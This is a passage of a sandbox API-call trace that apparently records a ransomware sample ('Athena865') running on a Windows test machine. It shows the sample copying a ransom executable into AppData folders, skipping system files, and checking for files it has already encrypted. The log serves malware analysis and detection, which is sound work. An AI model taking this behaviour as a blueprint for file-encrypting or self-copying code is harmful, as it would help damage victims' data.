RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x58) returned 0x52fec0 [0100.398] lstrcatW (in: lpString1="Local", lpString2="\\" | out: lpString1="Local\\") returned="Local\\" [0100.398] lstrcatW (in: lpString1="Local\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Local\\HOW TO BACK YOUR FILES.exe") returned="Local\\HOW TO BACK YOUR FILES.exe" [0100.398] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.399] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc51e1b80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc51e1b80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0100.399] lstrcmpiW (lpString1="LocalLow", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.399] lstrcmpiW (lpString1="LocalLow", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.399] lstrcmpiW (lpString1="LocalLow", lpString2=".") returned 1 [0100.399] lstrcmpiW (lpString1="LocalLow", lpString2="..") returned 1 [0100.399] lstrcmpiW (lpString1="LocalLow", lpString2="windows") returned -1 [0100.399] lstrcmpiW (lpString1="LocalLow", lpString2="bootmgr") returned 1 [0100.399] lstrcmpiW (lpString1="LocalLow", lpString2="temp") returned -1 [0100.399] lstrcmpiW (lpString1="LocalLow", lpString2="pagefile.sys") returned -1 [0100.399] lstrcmpiW (lpString1="LocalLow", lpString2="boot") returned 1 [0100.399] lstrcmpiW (lpString1="LocalLow", lpString2="ids.txt") returned 1 [0100.399] lstrcmpiW (lpString1="LocalLow", lpString2="ntuser.dat") returned -1 [0100.399] lstrcmpiW (lpString1="LocalLow", lpString2="perflogs") returned -1 [0100.399] lstrcmpiW (lpString1="LocalLow", lpString2="MSBuild") returned -1 [0100.399] lstrlenW (lpString="LocalLow") returned 8 [0100.399] lstrcpyW (in: lpString1=0x241e894, lpString2="LocalLow" | out: lpString1="LocalLow") returned="LocalLow" [0100.399] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c230 [0100.399] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5e) returned 0x5240f0 [0100.399] lstrcatW (in: lpString1="LocalLow", lpString2="\\" | out: lpString1="LocalLow\\") returned="LocalLow\\" [0100.399] lstrcatW (in: lpString1="LocalLow\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="LocalLow\\HOW TO BACK YOUR FILES.exe") returned="LocalLow\\HOW TO BACK YOUR FILES.exe" [0100.399] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.400] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc567e620, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc567e620, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0100.400] lstrcmpiW (lpString1="Roaming", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.400] lstrcmpiW (lpString1="Roaming", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.400] lstrcmpiW (lpString1="Roaming", lpString2=".") returned 1 [0100.400] lstrcmpiW (lpString1="Roaming", lpString2="..") returned 1 [0100.400] lstrcmpiW (lpString1="Roaming", lpString2="windows") returned -1 [0100.400] lstrcmpiW (lpString1="Roaming", lpString2="bootmgr") returned 1 [0100.400] lstrcmpiW (lpString1="Roaming", lpString2="temp") returned -1 [0100.400] lstrcmpiW (lpString1="Roaming", lpString2="pagefile.sys") returned 1 [0100.400] lstrcmpiW (lpString1="Roaming", lpString2="boot") returned 1 [0100.400] lstrcmpiW (lpString1="Roaming", lpString2="ids.txt") returned 1 [0100.400] lstrcmpiW (lpString1="Roaming", lpString2="ntuser.dat") returned 1 [0100.400] lstrcmpiW (lpString1="Roaming", lpString2="perflogs") returned 1 [0100.400] lstrcmpiW (lpString1="Roaming", lpString2="MSBuild") returned 1 [0100.400] lstrlenW (lpString="Roaming") returned 7 [0100.400] lstrcpyW (in: lpString1=0x241e894, lpString2="Roaming" | out: lpString1="Roaming") returned="Roaming" [0100.400] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bf38 [0100.400] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x524500 [0100.400] lstrcatW (in: lpString1="Roaming", lpString2="\\" | out: lpString1="Roaming\\") returned="Roaming\\" [0100.401] lstrcatW (in: lpString1="Roaming\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Roaming\\HOW TO BACK YOUR FILES.exe") returned="Roaming\\HOW TO BACK YOUR FILES.exe" [0100.401] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.401] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc567e620, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc567e620, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0100.401] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0100.401] ReleaseMutex (hMutex=0xec) returned 1 [0100.401] CloseHandle (hObject=0xec) returned 1 [0100.401] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data" [0100.401] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x524158 | out: hHeap=0x4f0000) returned 1 [0100.401] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ae00 | out: hHeap=0x4f0000) returned 1 [0100.401] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data") returned 46 [0100.401] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\481C3CC8E83627035F3AA997EB696CF6") returned 0xec [0100.401] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.402] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data" [0100.402] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.402] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.402] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\application data\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.402] GetLastError () returned 0x0 [0100.402] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.402] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53f390 [0100.403] ReadFile (in: hFile=0xf4, lpBuffer=0x53f390, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53f390*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.403] CloseHandle (hObject=0xf4) returned 1 [0100.403] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0100.403] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.404] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc567e620, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc567e620, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0100.404] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.404] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.404] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0100.404] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc567e620, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc567e620, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.404] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.404] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.404] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0100.404] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0100.404] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdbfbe5f0, ftCreationTime.dwHighDateTime=0x1d4c5dd, ftLastAccessTime.dwLowDateTime=0xf044ee80, ftLastAccessTime.dwHighDateTime=0x1d4cbdc, ftLastWriteTime.dwLowDateTime=0xc5207ce0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7860, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0c5kw1m6nMri2-3ecf.png.Athena865", cAlternateFileName="0C5KW1~1.ATH")) returned 1 [0100.404] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.png.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.404] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.png.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.404] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.png.Athena865", lpString2=".") returned 1 [0100.404] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.png.Athena865", lpString2="..") returned 1 [0100.404] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.png.Athena865", lpString2="windows") returned -1 [0100.404] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.png.Athena865", lpString2="bootmgr") returned -1 [0100.404] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.png.Athena865", lpString2="temp") returned -1 [0100.404] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.png.Athena865", lpString2="pagefile.sys") returned -1 [0100.404] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.png.Athena865", lpString2="boot") returned -1 [0100.404] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.png.Athena865", lpString2="ids.txt") returned -1 [0100.405] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.png.Athena865", lpString2="ntuser.dat") returned -1 [0100.405] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.png.Athena865", lpString2="perflogs") returned -1 [0100.405] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.png.Athena865", lpString2="MSBuild") returned -1 [0100.405] lstrlenW (lpString="0c5kw1m6nMri2-3ecf.png.Athena865") returned 32 [0100.405] lstrcpyW (in: lpString1=0x241e8a6, lpString2="0c5kw1m6nMri2-3ecf.png.Athena865" | out: lpString1="0c5kw1m6nMri2-3ecf.png.Athena865") returned="0c5kw1m6nMri2-3ecf.png.Athena865" [0100.405] lstrlenW (lpString="0c5kw1m6nMri2-3ecf.png.Athena865") returned 32 [0100.405] lstrlenW (lpString="Athena865") returned 9 [0100.405] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.405] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdf165870, ftCreationTime.dwHighDateTime=0x1d4d49b, ftLastAccessTime.dwLowDateTime=0xdee57220, ftLastAccessTime.dwHighDateTime=0x1d4ca8f, ftLastWriteTime.dwLowDateTime=0xc522de40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="23K6.csv.Athena865", cAlternateFileName="23K6CS~1.ATH")) returned 1 [0100.405] lstrcmpiW (lpString1="23K6.csv.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.405] lstrcmpiW (lpString1="23K6.csv.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.405] lstrcmpiW (lpString1="23K6.csv.Athena865", lpString2=".") returned 1 [0100.405] lstrcmpiW (lpString1="23K6.csv.Athena865", lpString2="..") returned 1 [0100.405] lstrcmpiW (lpString1="23K6.csv.Athena865", lpString2="windows") returned -1 [0100.405] lstrcmpiW (lpString1="23K6.csv.Athena865", lpString2="bootmgr") returned -1 [0100.405] lstrcmpiW (lpString1="23K6.csv.Athena865", lpString2="temp") returned -1 [0100.405] lstrcmpiW (lpString1="23K6.csv.Athena865", lpString2="pagefile.sys") returned -1 [0100.405] lstrcmpiW (lpString1="23K6.csv.Athena865", lpString2="boot") returned -1 [0100.405] lstrcmpiW (lpString1="23K6.csv.Athena865", lpString2="ids.txt") returned -1 [0100.405] lstrcmpiW (lpString1="23K6.csv.Athena865", lpString2="ntuser.dat") returned -1 [0100.405] lstrcmpiW (lpString1="23K6.csv.Athena865", lpString2="perflogs") returned -1 [0100.405] lstrcmpiW (lpString1="23K6.csv.Athena865", lpString2="MSBuild") returned -1 [0100.405] lstrlenW (lpString="23K6.csv.Athena865") returned 18 [0100.405] lstrcpyW (in: lpString1=0x241e8a6, lpString2="23K6.csv.Athena865" | out: lpString1="23K6.csv.Athena865") returned="23K6.csv.Athena865" [0100.405] lstrlenW (lpString="23K6.csv.Athena865") returned 18 [0100.405] lstrlenW (lpString="Athena865") returned 9 [0100.405] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.405] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x902d66c0, ftCreationTime.dwHighDateTime=0x1d4d1b4, ftLastAccessTime.dwLowDateTime=0xe1d2cc20, ftLastAccessTime.dwHighDateTime=0x1d4cec3, ftLastWriteTime.dwLowDateTime=0xc5253fa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x14090, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2BPJ3u.mkv.Athena865", cAlternateFileName="2BPJ3U~1.ATH")) returned 1 [0100.405] lstrcmpiW (lpString1="2BPJ3u.mkv.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.405] lstrcmpiW (lpString1="2BPJ3u.mkv.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.405] lstrcmpiW (lpString1="2BPJ3u.mkv.Athena865", lpString2=".") returned 1 [0100.405] lstrcmpiW (lpString1="2BPJ3u.mkv.Athena865", lpString2="..") returned 1 [0100.406] lstrcmpiW (lpString1="2BPJ3u.mkv.Athena865", lpString2="windows") returned -1 [0100.406] lstrcmpiW (lpString1="2BPJ3u.mkv.Athena865", lpString2="bootmgr") returned -1 [0100.406] lstrcmpiW (lpString1="2BPJ3u.mkv.Athena865", lpString2="temp") returned -1 [0100.406] lstrcmpiW (lpString1="2BPJ3u.mkv.Athena865", lpString2="pagefile.sys") returned -1 [0100.406] lstrcmpiW (lpString1="2BPJ3u.mkv.Athena865", lpString2="boot") returned -1 [0100.406] lstrcmpiW (lpString1="2BPJ3u.mkv.Athena865", lpString2="ids.txt") returned -1 [0100.406] lstrcmpiW (lpString1="2BPJ3u.mkv.Athena865", lpString2="ntuser.dat") returned -1 [0100.406] lstrcmpiW (lpString1="2BPJ3u.mkv.Athena865", lpString2="perflogs") returned -1 [0100.406] lstrcmpiW (lpString1="2BPJ3u.mkv.Athena865", lpString2="MSBuild") returned -1 [0100.406] lstrlenW (lpString="2BPJ3u.mkv.Athena865") returned 20 [0100.406] lstrcpyW (in: lpString1=0x241e8a6, lpString2="2BPJ3u.mkv.Athena865" | out: lpString1="2BPJ3u.mkv.Athena865") returned="2BPJ3u.mkv.Athena865" [0100.406] lstrlenW (lpString="2BPJ3u.mkv.Athena865") returned 20 [0100.406] lstrlenW (lpString="Athena865") returned 9 [0100.406] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.406] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66b4a400, ftCreationTime.dwHighDateTime=0x1d4c978, ftLastAccessTime.dwLowDateTime=0x8a581a10, ftLastAccessTime.dwHighDateTime=0x1d4c985, ftLastWriteTime.dwLowDateTime=0xc52a0260, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x6250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2pcowbcBn7D vLy.mp3.Athena865", cAlternateFileName="2PCOWB~1.ATH")) returned 1 [0100.406] lstrcmpiW (lpString1="2pcowbcBn7D vLy.mp3.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.406] lstrcmpiW (lpString1="2pcowbcBn7D vLy.mp3.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.406] lstrcmpiW (lpString1="2pcowbcBn7D vLy.mp3.Athena865", lpString2=".") returned 1 [0100.406] lstrcmpiW (lpString1="2pcowbcBn7D vLy.mp3.Athena865", lpString2="..") returned 1 [0100.406] lstrcmpiW (lpString1="2pcowbcBn7D vLy.mp3.Athena865", lpString2="windows") returned -1 [0100.406] lstrcmpiW (lpString1="2pcowbcBn7D vLy.mp3.Athena865", lpString2="bootmgr") returned -1 [0100.406] lstrcmpiW (lpString1="2pcowbcBn7D vLy.mp3.Athena865", lpString2="temp") returned -1 [0100.406] lstrcmpiW (lpString1="2pcowbcBn7D vLy.mp3.Athena865", lpString2="pagefile.sys") returned -1 [0100.406] lstrcmpiW (lpString1="2pcowbcBn7D vLy.mp3.Athena865", lpString2="boot") returned -1 [0100.406] lstrcmpiW (lpString1="2pcowbcBn7D vLy.mp3.Athena865", lpString2="ids.txt") returned -1 [0100.406] lstrcmpiW (lpString1="2pcowbcBn7D vLy.mp3.Athena865", lpString2="ntuser.dat") returned -1 [0100.406] lstrcmpiW (lpString1="2pcowbcBn7D vLy.mp3.Athena865", lpString2="perflogs") returned -1 [0100.406] lstrcmpiW (lpString1="2pcowbcBn7D vLy.mp3.Athena865", lpString2="MSBuild") returned -1 [0100.406] lstrlenW (lpString="2pcowbcBn7D vLy.mp3.Athena865") returned 29 [0100.406] lstrcpyW (in: lpString1=0x241e8a6, lpString2="2pcowbcBn7D vLy.mp3.Athena865" | out: lpString1="2pcowbcBn7D vLy.mp3.Athena865") returned="2pcowbcBn7D vLy.mp3.Athena865" [0100.406] lstrlenW (lpString="2pcowbcBn7D vLy.mp3.Athena865") returned 29 [0100.407] lstrlenW (lpString="Athena865") returned 9 [0100.407] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.407] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x18aa0960, ftCreationTime.dwHighDateTime=0x1d4d500, ftLastAccessTime.dwLowDateTime=0x749dc2f0, ftLastAccessTime.dwHighDateTime=0x1d4ccb5, ftLastWriteTime.dwLowDateTime=0xc52c63c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x16420, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2Sm1_uG-HtJxDE-R8.wav.Athena865", cAlternateFileName="2SM1_U~1.ATH")) returned 1 [0100.407] lstrcmpiW (lpString1="2Sm1_uG-HtJxDE-R8.wav.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.407] lstrcmpiW (lpString1="2Sm1_uG-HtJxDE-R8.wav.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.407] lstrcmpiW (lpString1="2Sm1_uG-HtJxDE-R8.wav.Athena865", lpString2=".") returned 1 [0100.407] lstrcmpiW (lpString1="2Sm1_uG-HtJxDE-R8.wav.Athena865", lpString2="..") returned 1 [0100.407] lstrcmpiW (lpString1="2Sm1_uG-HtJxDE-R8.wav.Athena865", lpString2="windows") returned -1 [0100.407] lstrcmpiW (lpString1="2Sm1_uG-HtJxDE-R8.wav.Athena865", lpString2="bootmgr") returned -1 [0100.407] lstrcmpiW (lpString1="2Sm1_uG-HtJxDE-R8.wav.Athena865", lpString2="temp") returned -1 [0100.407] lstrcmpiW (lpString1="2Sm1_uG-HtJxDE-R8.wav.Athena865", lpString2="pagefile.sys") returned -1 [0100.407] lstrcmpiW (lpString1="2Sm1_uG-HtJxDE-R8.wav.Athena865", lpString2="boot") returned -1 [0100.407] lstrcmpiW (lpString1="2Sm1_uG-HtJxDE-R8.wav.Athena865", lpString2="ids.txt") returned -1 [0100.407] lstrcmpiW (lpString1="2Sm1_uG-HtJxDE-R8.wav.Athena865", lpString2="ntuser.dat") returned -1 [0100.407] lstrcmpiW (lpString1="2Sm1_uG-HtJxDE-R8.wav.Athena865", lpString2="perflogs") returned -1 [0100.407] lstrcmpiW (lpString1="2Sm1_uG-HtJxDE-R8.wav.Athena865", lpString2="MSBuild") returned -1 [0100.407] lstrlenW (lpString="2Sm1_uG-HtJxDE-R8.wav.Athena865") returned 31 [0100.407] lstrcpyW (in: lpString1=0x241e8a6, lpString2="2Sm1_uG-HtJxDE-R8.wav.Athena865" | out: lpString1="2Sm1_uG-HtJxDE-R8.wav.Athena865") returned="2Sm1_uG-HtJxDE-R8.wav.Athena865" [0100.407] lstrlenW (lpString="2Sm1_uG-HtJxDE-R8.wav.Athena865") returned 31 [0100.407] lstrlenW (lpString="Athena865") returned 9 [0100.407] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.407] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbf7ff00, ftCreationTime.dwHighDateTime=0x1d4d097, ftLastAccessTime.dwLowDateTime=0x8fe4d3b0, ftLastAccessTime.dwHighDateTime=0x1d4d001, ftLastWriteTime.dwLowDateTime=0xc52ec520, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x9460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2sUrCEk8vsgO.jpg.Athena865", cAlternateFileName="2SURCE~1.ATH")) returned 1 [0100.407] lstrcmpiW (lpString1="2sUrCEk8vsgO.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.407] lstrcmpiW (lpString1="2sUrCEk8vsgO.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.407] lstrcmpiW (lpString1="2sUrCEk8vsgO.jpg.Athena865", lpString2=".") returned 1 [0100.407] lstrcmpiW (lpString1="2sUrCEk8vsgO.jpg.Athena865", lpString2="..") returned 1 [0100.407] lstrcmpiW (lpString1="2sUrCEk8vsgO.jpg.Athena865", lpString2="windows") returned -1 [0100.407] lstrcmpiW (lpString1="2sUrCEk8vsgO.jpg.Athena865", lpString2="bootmgr") returned -1 [0100.407] lstrcmpiW (lpString1="2sUrCEk8vsgO.jpg.Athena865", lpString2="temp") returned -1 [0100.407] lstrcmpiW (lpString1="2sUrCEk8vsgO.jpg.Athena865", lpString2="pagefile.sys") returned -1 [0100.407] lstrcmpiW (lpString1="2sUrCEk8vsgO.jpg.Athena865", lpString2="boot") returned -1 [0100.407] lstrcmpiW (lpString1="2sUrCEk8vsgO.jpg.Athena865", lpString2="ids.txt") returned -1 [0100.408] lstrcmpiW (lpString1="2sUrCEk8vsgO.jpg.Athena865", lpString2="ntuser.dat") returned -1 [0100.408] lstrcmpiW (lpString1="2sUrCEk8vsgO.jpg.Athena865", lpString2="perflogs") returned -1 [0100.408] lstrcmpiW (lpString1="2sUrCEk8vsgO.jpg.Athena865", lpString2="MSBuild") returned -1 [0100.408] lstrlenW (lpString="2sUrCEk8vsgO.jpg.Athena865") returned 26 [0100.408] lstrcpyW (in: lpString1=0x241e8a6, lpString2="2sUrCEk8vsgO.jpg.Athena865" | out: lpString1="2sUrCEk8vsgO.jpg.Athena865") returned="2sUrCEk8vsgO.jpg.Athena865" [0100.408] lstrlenW (lpString="2sUrCEk8vsgO.jpg.Athena865") returned 26 [0100.408] lstrlenW (lpString="Athena865") returned 9 [0100.408] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.408] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb554fa0, ftCreationTime.dwHighDateTime=0x1d4c5e5, ftLastAccessTime.dwLowDateTime=0x4e6468e0, ftLastAccessTime.dwHighDateTime=0x1d4d210, ftLastWriteTime.dwLowDateTime=0xc5312680, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x5760, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7wqky.mp4.Athena865", cAlternateFileName="7WQKYM~1.ATH")) returned 1 [0100.408] lstrcmpiW (lpString1="7wqky.mp4.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.408] lstrcmpiW (lpString1="7wqky.mp4.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.408] lstrcmpiW (lpString1="7wqky.mp4.Athena865", lpString2=".") returned 1 [0100.408] lstrcmpiW (lpString1="7wqky.mp4.Athena865", lpString2="..") returned 1 [0100.408] lstrcmpiW (lpString1="7wqky.mp4.Athena865", lpString2="windows") returned -1 